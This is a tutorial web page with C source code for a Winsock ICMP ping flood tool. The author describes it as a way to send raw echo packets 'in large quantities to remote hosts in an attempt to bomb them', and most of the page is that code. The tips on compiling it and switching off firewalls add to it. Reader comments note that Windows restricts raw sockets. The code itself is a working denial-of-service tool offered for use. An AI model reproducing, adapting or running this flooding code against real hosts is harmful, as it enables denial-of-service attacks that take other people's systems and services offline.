ICMP ping flood code using sockets in C – Winsock

In a previous article on ping flood on linux we saw how to construct raw icmp echo packets and send them out in large quantities to remote hosts in an attempt to bomb them. Now we are going to construct the same program for windows using the winsock socket api.

/*
	Icmp ping flood program in winsock
*/
#include "stdio.h"
#include "winsock2.h"
#include "conio.h"
#include "stdint.h"
 
#pragma comment(lib,"ws2_32.lib") //winsock 2.2 library

#define ICMP_ECHO		8	/* Echo Request			*/

unsigned short in_cksum(unsigned short *ptr, int nbytes);
 
typedef uint8_t u_int8_t; 
typedef uint16_t u_int16_t; 
typedef uint32_t u_int32_t;

struct icmphdr
{
	u_int8_t type;		/* message type */
	u_int8_t code;		/* type sub-code */
	u_int16_t checksum;
	union
	{
		struct
		{
			u_int16_t	id;
			u_int16_t	sequence;
		} echo;			/* echo datagram */
		u_int32_t	gateway;	/* gateway address */
		struct
		{
			u_int16_t	__unused;
			u_int16_t	mtu;
		} frag;			/* path mtu discovery */
	} un;
};

int main(int argc, char *argv[])
{
	char *packet, *data=NULL;
	
	SOCKET s;
	int k = 1, packet_size, payload_size = 512, sent = 0;
 
	struct iphdr *iph = NULL;
	struct icmphdr *icmph = NULL;
 	struct sockaddr_in dest;

	//Initialise Winsock
	WSADATA wsock;
	printf("\nInitialising Winsock...");
	if (WSAStartup(MAKEWORD(2,2),&wsock) != 0)
	{
		fprintf(stderr,"WSAStartup() failed");
		exit(EXIT_FAILURE);
	}
	printf("Done");
	
	//Create Raw ICMP Packet
	if((s = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) == SOCKET_ERROR)
	{
		printf("Failed to create raw icmp packet");
		exit(EXIT_FAILURE);
	}
	
	dest.sin_family = AF_INET;
	dest.sin_addr.s_addr = inet_addr("1.2.3.4");
	
	packet_size = sizeof(struct icmphdr) + payload_size;
	packet = (char * )malloc(packet_size);
	
	//zero out the packet buffer
	memset (packet, 0, packet_size);
	
	icmph = (struct icmphdr*) packet;
	icmph->type = ICMP_ECHO;
	icmph->code = 0;
	icmph->un.echo.sequence = rand();
	icmph->un.echo.id = rand();
    
	// Initialize the TCP payload to some rubbish
	data = packet + sizeof(struct icmphdr);
	memset(data, '^', payload_size);
 
	//checksum
	icmph->checksum = 0;
	icmph->checksum = in_cksum((unsigned short *)icmph, packet_size);
	
	printf("\nSending packet...\n");
	
	while(1)
	{
		if(sendto(s , packet , packet_size , 0 , (struct sockaddr *)&dest, sizeof(dest)) == SOCKET_ERROR )
		{
 			printf("Error sending Packet : %d" , WSAGetLastError());
			break;
		}

		printf("%d packets send\r" , ++sent);
		_getch();
	}
	
	return 0;
}

/*
	Function calculate checksum
*/
unsigned short in_cksum(unsigned short *ptr, int nbytes)
{
	register long sum;
	u_short oddbyte;
	register u_short answer;

	sum = 0;
	while (nbytes > 1) {
		sum += *ptr++;
		nbytes -= 2;
	}

	if (nbytes == 1) {
		oddbyte = 0;
		*((u_char *) & oddbyte) = *(u_char *) ptr;
		sum += oddbyte;
	}

	sum = (sum >> 16) + (sum & 0xffff);
	sum += (sum >> 16);
	answer = ~sum;

	return (answer);
}








The above code can be compiled using Microsoft Visual c++ 2010 express edition. Create a new project and add a c file and then copy paste the code and compile.

To check if the icmp packets were send successfully, use a packet sniffer like wireshark. Firewalls might block such large number of ping packets, so you may have to turn them off.

Last Updated On : 12th April 2013

Subscribe to get updates delivered to your inbox

2 Comments + Add Comment

  • This 32 bit code will only work on Windows XP pre-service pack 2. After SP 1, Microsoft disabled the ability to send in raw sockets. In addition, the kernel buffer space is only 8k, way too small. This is discussed here:

    http://tech.blinemedical.com/dropped-packets-with-promiscuous-raw-sockets/

    The correct way to do this on Windows is to use a packet driver, WinPcap.

  • It’s nice & helpful Article, Thankx M00n Silv3r ;).But,

    For Windows , I think The use of RAW_SOCK is restricted. No ?

Leave a comment